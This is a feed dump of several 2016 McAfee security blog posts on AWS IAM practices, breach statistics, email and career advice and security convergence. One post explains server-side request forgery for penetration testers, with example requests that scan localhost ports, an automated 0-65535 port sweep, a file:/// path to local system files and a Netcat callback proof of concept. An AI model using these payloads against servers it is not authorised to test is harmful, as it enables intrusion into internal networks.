5 Steps to Enhance Security of Cloud Applications https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/5-steps-to-enhance-security-of-cloud-applications/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/5-steps-to-enhance-security-of-cloud-applications/#respond Wed, 18 May 2016 21:24:51 +0000 https://blogs.mcafee.com/?p=49721 This blog post was written by Dileep Dasari. When you move applications to the cloud, the attack surface changes while the vulnerabilities at application, database, and network level persist. To address these issues, securing the cloud perimeter, preventing unauthorized access, and protecting data is crucial. The first step is to reduce the attack surface. Run a port […]

The post 5 Steps to Enhance Security of Cloud Applications appeared first on McAfee Blogs.

]]>
This blog post was written by Dileep Dasari.

When you move applications to the cloud, the attack surface changes while the vulnerabilities at application, database, and network level persist. To address these issues, securing the cloud perimeter, preventing unauthorized access, and protecting data is crucial.

The first step is to reduce the attack surface. Run a port scan specific to an instance IP and lock down all the unnecessary open ports. Also be sure to lock down your meta and user data. In a recent post, we shared detailed instructions to perform these security measures in Amazon Web Services (AWS).

Let’s dig a little deeper into preventing unauthorized access to your cloud servers, in particular, in AWS. Using Identity and Access Management (IAM), you can create and manage AWS users and groups, and use permissions to allow and deny their access to AWS resources.

Here are five best practices for setting up secure IAM in AWS:

  1. Never use the root account.
  2. Manage access keys.
  3. Grant permissions using IAM roles.
  4. Enable multifactor authentication.
  5. Enforce a strong password policies.

Never use the root account: The root account is used when signing up with AWS. It’s similar to a super user account and has unimpeded access to all the AWS services and resources. Therefore, never share the root account credentials with anyone else. Instead, create an admin group to add users who need to have an admin-level privileges for day-to-day activities.

Manage access keys: To access the AWS application programming interface and make a successful request, users require two sets of keys. These keys determine whether the requested resources are allowed, and who is making a request. Moreover, these are used for signing the requests. We recommend not using access keys for the root account.

Use a username and a password to log in to the AWS console with multifactor authentication enabled. Ensure the access keys for the root account get disabled or deleted. If there is a business requirement to use root-account access keys, maintain a regular key rotation.

It is quite common to hardcode keys to the code and push them to public repositories. This step allows anyone to access accounts and to spawn more EC2 instances. Attackers usually scan public repositories like GitHub and SourceForge to steal sensitive information. To avoid exposing keys, follow these steps:

  • Do not hardcode access keys directly into the code. Place the keys in specific locations (such as the AWS credential file) that are being accessed by AWS software development kits or the AWS command line.
  • Set up environment variables that can be accessed by development kits or the command line.
  • Use separate access keys for different applications. This will isolate the permissions used by an application and can be revoked without affecting other applications in case of the key compromise.
  • Rotate access keys periodically, about every three to six months.
  • Automate the removal of keys that are unused for 90 or more days.

Grant permissions using IAM roles: The IAM roles are different than IAM users and groups. The users and groups are managed in the same account, whereas roles can provide delegated access to resources. The roles provide tight control over identities and key rotation. Access to resources from mobile applications should always be done via IAM roles. This step helps implement the principle of least privilege.

Enable multifactor authentication: Multifactor authentication (MFA) is the process of verifying a user’s identity by more than one independent method. AWS supports MFA and we strongly recommend enabling MFA for all the AWS accounts.

Hardware MFA should be enabled for the root account, to reduce the attack surface compared with a virtual MFA. In general, virtual or SMS-based MFA introduces an attack surface to any mobile or tablet on which a virtual MFA resides. Follow the steps below to enable MFA for AWS accounts:

  1. Log in to the IAM console.
  2. Choose Activate MFA on the account under Dashboard > Security Status.
  3. Click on the Manage MFA button and select either a virtual MFA or hardware MFA (as shown in the following image) upon verifying AWS MFA-compatible applications.
  4. Proceed to the next step to activate the MFA device selected in the previous step.

 mfa

Enforce a strong password policy: IAM user accounts should enforce strong password policies similar to traditional applications. The password policy should include the following, from the CIS AWS benchmark:

  • Minimum password length of 14 characters.
  • Passwords should expire within 90 days.
  • Password must contain at least one uppercase letter, one lowercase letter, one number, and one special character.
  • The number of passwords to remember should be set to restrict password reuse.

Also configure challenge questions for AWS accounts. This is helpful for identification purposes when contacting customer service. To configure security questions, follow these steps after login:

Account Name (top right) > My Account > Configure Security Challenge Questions

 

Credential report

The credential report provides a quick snapshot of all the users’ account details, such as Amazon resource name, account last used, password last changed, next rotation date, etc. These reports are useful for auditing and compliance purposes. This is also helpful for deleting unused accounts.

By implementing a few safeguards—such as never sharing keys or credentials, implementing least-privileged-access roles, and enforcing MFA—you will help secure access to your data in the cloud.

The post 5 Steps to Enhance Security of Cloud Applications appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/5-steps-to-enhance-security-of-cloud-applications/feed/ 0
Can Zealous Security Cause Harm? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/can-zealous-security-cause-harm/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/can-zealous-security-cause-harm/#respond Tue, 17 May 2016 22:40:14 +0000 https://blogs.mcafee.com/?p=49708 Good security requires balancing risks, costs, and usability. Too much or too little of each can be unhealthy and lead to unintended consequences. We are entering an era where the risks of connected technology can exceed the inconveniences of interrupted online services or the release of sensitive data. Failures can create life-safety issues and major […]

The post Can Zealous Security Cause Harm? appeared first on McAfee Blogs.

]]>
Security Balance

Good security requires balancing risks, costs, and usability. Too much or too little of each can be unhealthy and lead to unintended consequences. We are entering an era where the risks of connected technology can exceed the inconveniences of interrupted online services or the release of sensitive data. Failures can create life-safety issues and major economic impacts. The modernization of healthcare, critical infrastructure, transportation, and defense industries is beginning to push boundaries and directly impact people’s safety and prosperity. Lives hang in the balance; it is up to technology providers, users, and organizations to ensure the necessary balance of security is present.

We are all cognizant of the risks in situations where insufficient security opens the door to exposure and the compromise of systems. Vulnerabilities allow threats to undermine the availability of systems, confidentiality of data, and integrity of transactions. On the other hand, however, too much security can also cause serious issues.

A recent incident described how a piece of medical equipment crashed during a heart procedure due to an overly aggressive antivirus scan setting. The device, Merge Hemo, is used to supervise heart catheterization procedures, while doctors insert a catheter inside blood vessels to diagnose various types of heart diseases. The module is connected to a PC that runs software to record and display data. During this procedure, the application crashed when the security software began scanning for potential threats. The patient remained sedated while the system was rebooted, before the procedure could be completed. Although the patient was not harmed, the misconfiguration of the PC security software caused an interruption during an invasive medical procedure.

Security is not an absolute. There is a direct correlation between the increasing integration of highly connected and empowered devices, and the risks of an elevated frequency of attacks with a greater severity of impacts. The outcome of this particular situation was fortunate, but we should recognize the emerging risks and prepare to adapt as technology rapidly advances.

Striking a balance is important. It may not seem intuitive but, yes, too much security can be a problem as well. Protection is not free. Benefits come with a cost. Security functions can create overhead to performance, reduce productivity, and ruin users’ experiences. Security can also increase the overall cost of products and services. These and other factors can create ripples in complex systems and result in unintended consequences. We all agree security must be present, but there must be an appropriate balance. The key is to achieve an optimal level, by tuning the risk management, costs, and usability aspects for any given environment and usage.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Can Zealous Security Cause Harm? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/can-zealous-security-cause-harm/feed/ 0
Key Lessons From Verizon’s ‘2016 Data Breach Investigations Report’ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/key-lessons-from-verizons-2016-data-breach-investigations-report/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/key-lessons-from-verizons-2016-data-breach-investigations-report/#respond Thu, 12 May 2016 18:13:05 +0000 https://blogs.mcafee.com/?p=49591 The annual Data Breach Investigations Report (DBIR) is out and reinforces the value of well-established cybersecurity practices. The good folks at Verizon have once again published one of the most respected annual reports in the security industry. The report sets itself apart with the authors intentionally avoiding unreliable “survey” data and instead striving to communicate […]

The post Key Lessons From Verizon’s ‘2016 Data Breach Investigations Report’ appeared first on McAfee Blogs.

]]>
Verizon 2016 DBIR

The annual Data Breach Investigations Report (DBIR) is out and reinforces the value of well-established cybersecurity practices. The good folks at Verizon have once again published one of the most respected annual reports in the security industry.

The report sets itself apart with the authors intentionally avoiding unreliable “survey” data and instead striving to communicate what is actually happening across the cybersecurity breach landscape. The perception of security typically differs greatly from reality, so this analysis provides some of the most relevant lessons for the field.

Report data is aggregated from real incidents that the company’s professional security services have examined in supporting customers. A large number of security partners also contribute data for this highly respected report. Although this analysis is not comprehensive, it does provide a unique and highly valuable viewpoint, anchored in real incident response data.

Many of the findings support long-standing opinions on the greatest cybersecurity weaknesses and best practices. Which is to say, I found nothing too surprising, and the report reinforces the current directions for good advice.

Key Report Findings

  • Human weaknesses
    30% of phishing messages were opened by their intended victims.
    12% of those targets took the next step to open the malicious attachment or web link.
  • Ransomware rises
    39% of crimeware incidents were ransomware.
  • Money for data
    95% of data breaches were motivated by financial gain.
  • Attackers sprint, defenders crawl
    93% of data breaches were compromised in minutes.
    83% of victims took more than a week to detect breaches.
  • Most of the risk lies in a few vulnerabilities
    85% of successful traffic was attributed to the top 10 CVE vulnerabilities. Although difficult to quantify and validate, top vulnerabilities should be prioritized.

Key Lessons to Apply

  • Train users. Users with permissions and trust are still the weakest link. Phishing continues to be highly effective for attackers to leverage poorly trained users to give them access.
  • Protect financially valuable data from confidentiality, integrity, and availability attacks. Expect attacks, and be prepared to respond and recover.
  • Speed up detection capabilities. Defenders must keep pace with attackers. When preventive controls fail, it is imperative to quickly detect the exploit and maneuver to minimize its overall impact.
  • Patch top vulnerabilities in operating systems, applications, and firmware. Patch quickly or suffer. It is a race; treat it as such. Prioritize the work based upon severity ranking. Serious vulnerabilities should not languish for months or years!

This is just a quick review. The report contains much more information and insights.
I recommend reading the Executive Summary or the full Report.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Key Lessons From Verizon’s ‘2016 Data Breach Investigations Report’ appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/key-lessons-from-verizons-2016-data-breach-investigations-report/feed/ 0
Server-Side Request Forgery Takes Advantage of Vulnerable App Servers https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/#respond Thu, 12 May 2016 17:54:25 +0000 https://blogs.mcafee.com/?p=49523 This blog was written by Kunal Garg. Server-side request forgery is an attack in which an attacker can force a vulnerable server to trigger malicious requests to third-party servers and or to internal resources. This vulnerability can then be leveraged to launch specific attacks such as a cross-site port attack, service enumeration, and various other […]

The post Server-Side Request Forgery Takes Advantage of Vulnerable App Servers appeared first on McAfee Blogs.

]]>
This blog was written by Kunal Garg.

Server-side request forgery is an attack in which an attacker can force a vulnerable server to trigger malicious requests to third-party servers and or to internal resources. This vulnerability can then be leveraged to launch specific attacks such as a cross-site port attack, service enumeration, and various other attacks.

This ability makes server-side request forgery potentially dangerous because a vulnerable server can be leveraged as a proxy and can attack other public resources and local infrastructure.

20160506 SSRF 1

Some common vulnerabilities related to server-side request forgery:

  • URL redirection
  • Remote file inclusion
  • SQL injection
  • Frame injection
  • Link injection
  • XML external entity

 

What can an attacker do using this vulnerability?

An attacker who has identified this vulnerability can leverage it for further attacks, including:

  • Port-scan internal hosts on the intranet protected by the firewall.
  • Attack internal applications.
  • Access local web server files using the file handler “file:///c:/windows/system32/.”
  • Enumerate services.

Attackers can use other options such as mailto://, gopher://, etc. But these depend on how the request is handled by the server and the parser.

 

Port scanning

Server-side request forgery can take advantage of port scanning.

Scanning local interface:

GET /Vulnerablepage.php? VulnParameter=http://127.0.0.1:80

GET /Vulnerablepage.php? VulnParameter=http://127.0.0.1:443

GET /Vulnerablepage.php? VulnParameter=http://127.0.0.1:21

Based upon the difference in responses, attackers can infer open and closed ports. Similarly, one can scan other resources.

This process can also be automated with Burp’s Intruder feature by setting the payload position as:

GET /Vulnerablepage.php?VulnParameter=http://127.0.0.1:§§ HTTP/1.1

Next set the “payload set” as “numbers,” “ports” from “0-65535,” and start the attack. Remember to uncheck payload encoding.

 

Testing server-side request forgery

Normally any input field that accepts a URL is an ideal candidate for this attack. However, we have seen that applications with random parameters from which nothing can be inferred were also vulnerable to this attack. Thus it is always a good practice to check for this vulnerability on suspicious parameters because we do not know how the parameters are handled by the server.

20160506 SSRF 2

 

Creating a proof of concept

The following steps will help a penetration tester develop a proof of concept.

  • Identity a potential input field in the application to test this vulnerability.
  • Start Netcat on a server (with server name “servertest,” for example) with the following command
    • (nc –l –v port no)
  • Once the server is running, enter the following payload in the vulnerable input http://servertest:portno/testSSRF
    • Use a unique directory such as /testSSRF to ensure that the request is triggered from our vulnerable server.
  • If the server is vulnerable, it will establish the connection and the Netcat listener will display the details about the connection as shown in the following screen capture.

20160506 SSRF 3 

Tools

Burp’s collaborator feature comes in very handy when testing this vulnerability. It can help initially identify this issue, which can then be manually verified by the preceding technique.

The collaborator sends payloads to the affected application that are crafted to initiate connections with the collaborator server. Burp then continuously monitors the collaborator server to ensure if any request has initiated a connection.

 

Recommendations

  • Do not trust user data, and perform data validation.
  • Harden application servers, and ensure that unnecessary ports and services are not open and running.
  • Implement a whitelist policy for allowed hosts and services.

 

References

https://portswigger.net/burp/help/collaborator.html

http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit#

The post Server-Side Request Forgery Takes Advantage of Vulnerable App Servers appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/feed/ 0
Critical Issues Challenge Cybersecurity Professionals https://securingtomorrow.mcafee.com/business/critical-issues-challenge-cybersecurity-professionals/ https://securingtomorrow.mcafee.com/business/critical-issues-challenge-cybersecurity-professionals/#respond Tue, 26 Apr 2016 23:35:21 +0000 https://blogs.mcafee.com/?p=49170 It is important but difficult to stay current with relevant issues in our industry. Cybersecurity is furiously changing, fast in pace, and rising in global importance. Professionals must keep abreast not only with what is happening today, but also with what is emerging on the horizon and heading our direction. Security becomes stronger when professionals collectively explore […]

The post Critical Issues Challenge Cybersecurity Professionals appeared first on McAfee Blogs.

]]>
Discussion2

It is important but difficult to stay current with relevant issues in our industry. Cybersecurity is furiously changing, fast in pace, and rising in global importance. Professionals must keep abreast not only with what is happening today, but also with what is emerging on the horizon and heading our direction. Security becomes stronger when professionals collectively explore ideas and actively collaborate on developing better practices. As a cybersecurity strategist, my eyes are fixed on the future risks and opportunities. Here is my list of what we all must learn, discuss, and deliberate about now, so that we can be prepared for what lies ahead.

Integrity attacks will become the next wave 

One constant in cybersecurity is the continual rise in sophistication and creativity of the threats. We are seeing the beginnings of a fundamental expansion to attackers’ techniques. Integrity compromises will rise and join the more familiar confidentiality (for example, data breach) and availability (denial-of-service) attacks. Integrity attacks undermine the trust of transactions and communications. Ransomware, business email scams, and financial transaction fraud are all growing examples of integrity compromises. This third wave will bring about significantly greater impacts due to their nature, the lack of available security tools, and weak processes to manage the risks. We are already witnessing savvy attackers making hundreds of millions of dollars in a single campaign and will likely see a billion-dollar heist by the end of the year. Everyone is at risk.

The Great Bank Robbery: Carbanak cybergang steals $1bn from 100 financial institutions worldwide
• $2.3 Billion Lost to CEO Email Scams: FBI Warns of Dramatic Increase in Business E-Mail Scams
• Bangladesh Bank Hack: How a hacker’s typo helped stop a billion dollar bank heist

IoT Security: Digital life-safety and privacy issues meet consumers

Our insatiable desire to integrate technology with our lives is changing the equation of security and safety. With the growth of the Internet of Things (IoT) predicting that devices will increase from 15 billion to 200 billion by 2020 and the focus by attackers to gain more access to critical capabilities, we may be unwittingly handing life-safety controls to the cyber threats. Such devices capture our conversations, video, health, activities, location, conversations, relationship connections, interests, and lifestyle. Will personal discretion and privacy survive?

IoT security is a huge and complex topic in the industry, earning the attention of everyone from researchers to mainstream media. Although transportation, healthcare, critical infrastructure, and drones capture most of our interest, connected devices and sensors are destined to be interwoven throughout businesses and across all walks of life. The benefits will be tremendous, as will the accompanying risks.

• Growth of global IoT Security Market To Exhibit 55% CAGR As Threat Of Security Breaches Rises
Trust and security fears could hold back the Internet of Things
IoT and Privacy: Keeping Secrets from your Webcam
Police called after ‘drone’ hits plane landing at Heathrow

Ransomware: the next scourge 

The rise of ransomware has been phenomenal, fleecing hundreds of millions of dollars from consumers, businesses, and even government agencies. This financial windfall for cybercriminals will fuel continued innovation, creativity, and persistence to victimize as many people as possible. The threat has found a soft spot, taking advantage of human frailties while targeting something of meaningful value to the victim, then offering remediation at an acceptable price point. This form of extortion is maturing quickly, exhibiting a high level of professional management, coding, and services. Ransomware is proving very scalable and difficult to undermine. It will surely continue because it is successful. Can it be stopped? How can people and businesses protect themselves? Will security solutions rally? What will we see next in the rapid evolution of ransomware?

• Cyber Threat Alliance report: Lucrative Ransomware Attacks – Analysis of the CryptoWall Version 3
• US Computer Emergency Readiness Team: Ransomware and Recent Variants
Hospital Declares ‘Internal State of Emergency’ After Ransomware Infection

The hidden long-term impacts on cybersecurity?

The industry looks at cybersecurity as a series of never-ending tactical issues to be individually addressed. This is a symptomatic perspective, when the reality is a systemic problem. The real impacts on the future are hidden from view and are staggering. It is time we mature our perspectives and see the strategic problem and opportunities. Estimates range from $3 trillion to $90 trillion of global economic impact by 2030. We as a community must understand the scale of the challenges and how addressing security in a tactical manner is simply not sustainable. This challenge has become a deep intellectual discussion topic among cyber strategists. How do we change the mindset from short-term expensive fixes to a long-term effective treatment at a holistic level?

The Hidden Costs of Cyber Attacks
Cybercrime may cost $2 trillion by 2019
$90 trillion dollars cyber impact for one scenario affecting the global benefits of Information and Communications Technologies by 2030
$3 trillion aggregate economic impact of cybersecurity on technology trends, through 2020

Battle for security leads to hardware

StackAs attackers evolve, they get stronger, smarter, and more resourceful. We have a cat-and-mouse game between the threats and the pursuing security capabilities. The trend is for attackers to move further down the technology stack. Each successively lower lever affords more control and the ability to hide from the security above. The most advantageous position is in the hardware, where the root-of-trust originates. The game is afoot. Advanced researchers and attackers are looking to outmaneuver security by compromising the hardware and firmware of devices.

Traditional defensive structures must also advance to meet the new challenges. Security features embedded or enhanced by hardware can be incredibly powerful to support effective defenses and visibility, even against the most advanced attackers. Control of hardware and firmware will play an ever greater role in protecting technology and users. Who will win?

The hardware roots of trust
Attackers Seek to Hack Hardware for Ultimate Control
Security on Silicon the Next Big Step in Cyber Protection

Job crisis in cybersecurity

Cybersecurity is in dire straits. There are not enough talented security professionals to fill the need. In a few years, there will be an estimated 1.5-2 million unfilled cybersecurity positions. This absence will have a catastrophic effect on securing people and technology. Organizations have two problems: finding candidates to fill open positions and retaining the professionals they currently have from lucrative competitive offers. The disparity between supply and growing demand drives up salaries, spurs aggressive headhunting, increases the costs of security operations, limits the overall comprehensiveness of shorthanded teams, and artificially enlarges the window of opportunity for attackers. It’s like trying to play competitive soccer without a full team.

The best way to correct the problem is to address the supply side of the equation. We need more cybersecurity professionals. In the long term, only academia can save cybersecurity, yet universities are struggling to retool to sufficiently prepare the next generation of security professionals. Until then and potentially for years to come, this problem will affect every organization that needs security staff and may drive up the use of Managed Security Service Providers.

• The Center for Cyber Safety and Education report: 2020 predictions expecting the shortfall of information security positions to reach 1.5 million
One Million Cybersecurity Job Openings in 2016
Higher Education Must Save Cybersecurity
Job Market Intelligence: Cybersecurity Jobs 2015 report published by Burning Glass Technologies

Cybersecurity predictions for 2016

Top 10 Cybersecurity Predictions for 2016A slew of expert predictions is now available from a variety of sources. Although some are better than others, all of them provide perspectives for 2016 and beyond. Peering into the future of cybersecurity provides valuable insights around the challenges and opportunities. The industry is changing rapidly and attackers always seem to be one step ahead. Take advantage of what the experts are taking about, but beware some are trying to sell you their wares. Understand how anticipated trends will affect your organization, customers, and partners in the industry. Plan how you can adapt to find a sustainable balance in managing the security of computing capabilities and technology.

McAfee McAfee Labs 2016 Threats Predictions report
Top 10 Cybersecurity Predictions for 2016 and Beyond
The Top 16 Security Predictions from Companies and Magazines

How versed are you in these topics?  I believe they will have far-reaching repercussions and every cybersecurity professional should understand these areas. Those who benefit from the insights of the future will be better prepared to adapt to the changes.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Critical Issues Challenge Cybersecurity Professionals appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/critical-issues-challenge-cybersecurity-professionals/feed/ 0
Unsubscribing From Unwanted Email Carries Risks https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unsubscribing-from-unwanted-email-carries-risks/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unsubscribing-from-unwanted-email-carries-risks/#respond Mon, 18 Apr 2016 23:14:17 +0000 https://blogs.mcafee.com/?p=49023 We all receive loads of unwanted email solicitations, warnings, and advertisements. The number can be overwhelming to the point of obnoxiousness. Some days it feels like an unending barrage of distracting deliveries that require a constant scrubbing of my inbox. Beyond being frustrating, there are risks. In addition to the desired and legitimate uses of email, […]

The post Unsubscribing From Unwanted Email Carries Risks appeared first on McAfee Blogs.

]]>
Unsubscribe email risks

We all receive loads of unwanted email solicitations, warnings, and advertisements. The number can be overwhelming to the point of obnoxiousness. Some days it feels like an unending barrage of distracting deliveries that require a constant scrubbing of my inbox.

Beyond being frustrating, there are risks. In addition to the desired and legitimate uses of email, there are several shady and downright malicious uses. Email is a very popular method for unscrupulous marketers, cybercriminals, and online threats to conduct social engineering attacks. Spam, phishing, and fraud are common. Additionally, many attackers seeking to install malware will use email as a delivery channel. Electronic mail can be an invasive communication mechanism, so we must take care.

Unfortunately, like most people, I tend to make my own situation even worse. In my professional role, I devour a tremendous amount of industry data, news, and reports to keep my finger on the pulse of change for technology and security. This attention usually requires me to register or provide my email address before I get a “free” copy of some analysis I desire. I could just give a false email, but that would not be ethical in a business environment. It is a reasonable and expected trade that benefits both parties. I get the information I seek and some company gets a shot at trying to sell me something. Fair enough, so I suffer and give my real work email. In this tacit game, there is an escape clause. I can request to no longer be contacted with solicitations after the first email lands in my inbox. Sounds simple, but it is not always that easy.

The reality is I receive email from many more organizations than I register with. Which means someone is distributing my electronic address to many others. They in turn repeat and the tsunami surging into my inbox gains strength. I become a target of less-than-ethical marketers, cyberattackers, and a whole lot of mundane legitimate businesses just trying to reach new customers.

Some include an unsubscribe link at the bottom of the message. This link holds an appealing lure of curbing the flood of email destined for the trash folder. But be careful. Things are not always as they seem. While attempting to reduce the load in your inbox, you might actually increase the amount of spam you receive, and in the worst case you could be infecting your system with malware by clicking that link. Choose wisely!

Recommendations for unsubscribing from email

Rule #1: If it is a legitimate company, use the unsubscribe option. Make sure the link points to a domain associated with the purported sender. Legit companies or their marketing vendor proxy will usually honor the request.

Rule #2: If it is a shady company, do not unsubscribe, just delete. If your mail service supports it, set up a block or spam rule to automatically delete future messages from these organizations.

If the message is seriously malicious, the “unsubscribe” link may take you to a site configured to infect or compromise your system. This is just another way bad guys get people to click on embedded email links. Don’t fall for this ruse! It may result in a malware infection or system compromise.

If the message is semimalicious, like a spam monster that will send mail to any address it can find, then clicking the “unsubscribe” link tells them this is a valid email address and that someone is reading the mail. This knowledge is valuable for them; they will sell that email address as “validated” to others and use it for future campaigns. Result: more spam.

Rule #3: Some spam and solicitations don’t offer any unsubscribe option. Just delete. Probably not a company you want to patronize anyways.

If you are in a work environment, be sure to know and follow your corporate policies regarding undesired email. Many companies have security tools that can inspect, validate, or block bad messages. They may also have solutions that leverage employees reporting of bad email to better tune such protections. Open attachments only from trusted sources.

Just remember, if you are not sure the email is legit, do not open or click anything, and NEVER open any attachments, including PDFs, Office documents, HTML files, or any executables because they can be used by attackers to deliver Trojans to infect your system with malware, ransomware, or other remote manipulation tools. Cybercriminals often pose as real companies with real products. Make your email life easier by unsubscribing with care and forethought.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Unsubscribing From Unwanted Email Carries Risks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unsubscribing-from-unwanted-email-carries-risks/feed/ 0
Convergence and the Future of Cyber Security https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/convergence-future-cyber-security/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/convergence-future-cyber-security/#respond Tue, 12 Apr 2016 23:56:13 +0000 https://blogs.mcafee.com/?p=48935 CSE 2016 Future of Cyber Security by Matthew Rosenquist from Matthew Rosenquist The security industry is changing. Technology innovation is eroding the distance between the roles and responsibilities of traditionally independent physical and cyber security teams. Modern physical security tools now rely heavily on networks, clouds, firmware, and software—which puts them at risk of cyber […]

The post Convergence and the Future of Cyber Security appeared first on McAfee Blogs.

]]>

The security industry is changing. Technology innovation is eroding the distance between the roles and responsibilities of traditionally independent physical and cyber security teams. Modern physical security tools now rely heavily on networks, clouds, firmware, and software—which puts them at risk of cyber exploitation. Computing devices, no matter how well managed, are largely vulnerable to physical attacks. The biggest convergence between these two worlds comes from the rapid growth and adoption of the Internet of Things, which extends access, control, and people-safety issues to users and businesses. Transportation, critical infrastructure, health care, and other industries currently rely on strong physical controls. More and more, they will also require the same benefits from cybersecurity to achieve the common goals of protecting people’s safety, property, and business assets. In the highly connected world of the near future, attacks against both physical and cyber targets will originate from far across the digital domain. Convergence is coming.

At this year’s 2016 ISC West conference, one of the largest security conferences with more than 1,000 exhibitors and brands, the organizers took an aggressive step that showed their insights to the future. The Connected Security Expo, a subconference with separate tracks, began its inaugural year, bringing together for the first time both physical and cyber security professionals at ISC West. I was honored to deliver one of the two keynotes to a combined audience of security leaders who recognize the inevitable intersection of security.

Organizations must address the combined physical and cyber threats that they will face. Leaders require insights into the complex future of cyber security, both the challenging risks and equally lucrative opportunities, which will emerge as cyber threats maneuver over time. In my presentation I discussed how cyber security is similar to its physical counterpart, as a difficult and serious endeavor, and strives to find a balance in managing the security of computing capabilities to protect the technology that connects and enriches the lives of everyone.

The 2016 “Future of Cyber Security” presentation showcased the cause-and-effect relationships, provided perspectives of the forthcoming challenges the industry is likely to face, and how aligned security can be better prepared to manage it.

A number of other notable speakers, including Mike Howard, CSO for Microsoft, shared insights with the audience. Herb Kelsey, Chief Architect at Guardtime, and Nate Kube, Founder and CTO of Wurldtech, a GE Company, also presented a keynote: “Reducing the Time to Detect Tamper–Physical Security’s Mission Against Cyber Threats.” They discussed the benefits and risks of the connected world, from power stations to light bulbs and everything in between. The unintended consequences will include bad actors using technology against, instead of for us. The speakers partnered to showcase the future trends and technologies in securing the promise of the Internet of Things.

I look forward to next year’s Connected Security Expo as the audience ranks will continue to grow. Speaker topics, threats, and the synthesis of technology will be even stronger. I expect other conferences to start down the same path, in an attempt to catch up with ISC West. It makes sense because the convergence between physical and cyber security will continue to gain momentum.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Convergence and the Future of Cyber Security appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/convergence-future-cyber-security/feed/ 0
Advice to a Network Admin Seeking a Career in Cybersecurity https://securingtomorrow.mcafee.com/business/advice-network-admin-seeking-career-cybersecurity/ https://securingtomorrow.mcafee.com/business/advice-network-admin-seeking-career-cybersecurity/#respond Fri, 01 Apr 2016 07:01:16 +0000 https://blogs.mcafee.com/?p=48182 Even after nearly 25 years, I continue to be excited and passionate about security. I enjoy discussing my experiences, opinions, and crazy ideas with the community. I often respond to questions and comments on my blogs and in LinkedIn, as it is a great platform to share ideas and communicate with others in the industry. […]

The post Advice to a Network Admin Seeking a Career in Cybersecurity appeared first on McAfee Blogs.

]]>
Insider6

Even after nearly 25 years, I continue to be excited and passionate about security. I enjoy discussing my experiences, opinions, and crazy ideas with the community. I often respond to questions and comments on my blogs and in LinkedIn, as it is a great platform to share ideas and communicate with others in the industry. Recently I responded to a network administrator seeking a career in cybersecurity. With that person’s permission, I’ll share a bit of the discussion in the hope that it will help others.

The query:

I have been in the information technology field as a network administrator for 16 years and am looking to get into the cybersecurity field, but the opportunity for someone who lacks experience in this specialized field is quite difficult. I too recognize the importance of education and believe it is critical to optimum performance in your field. What would your recommendation of suggested potential solutions be for breaking into this field?  

My response:

Glad to hear you want to join the ranks of cybersecurity professionals! The industry needs people like you. You have a number of things going for you. The market is hungry for talent and network administration is a great background for several areas of cybersecurity.

Depending on what you want to do, you can travel down several paths. If you want to stay in networking, I recommend either a certification from SANS (or other reputable training organization with recognizable certifications) or dive into becoming a certified expert for a particular firewall/gateway/VPN product (for example, Palo Alto Networks, Cisco, Check Point, Intel/McAfee, etc.). The former will give you the necessary network security credentials to work on architecture, configuration, analysis, operations, policy generation, audit, and incident response. The latter are in very high demand and specialize in the deployment, configuration, operation, and maintenance of these specific products. If you want to throw caution to the winds and explore areas outside of your networking experience, you can go for a university degree and/or security credentials. Getting both is better but may not be necessary.

I recommend you work backward. Find postings for your “dream job” and see what the requirements are. Make inquiries about preferred background and experience. This should give you insight into how best to fill your academic foundation.

The cybersecurity industry is in tremendous need of more people with greater diversity to fill the growing number of open positions. Recent college graduates, new to the workforce, will play a role in satiating the need, but there remain significant opportunities across a wide range of roles. Experienced professionals with technical, investigative, audit, program management, military, or analysis backgrounds can pivot into the cybersecurity domain with reasonable effort. This move can be a great prospect for people who seek new challenges, very competitive compensation, and excellent growth paths. The world needs people from a wide range of backgrounds, experiences, and skills to be a part of the next generation of cybersecurity professionals.

 

An open question to my peers: What advice would you give to workers in adjacent fields who are interested in the opportunities of cybersecurity?

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Advice to a Network Admin Seeking a Career in Cybersecurity appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/advice-network-admin-seeking-career-cybersecurity/feed/ 0
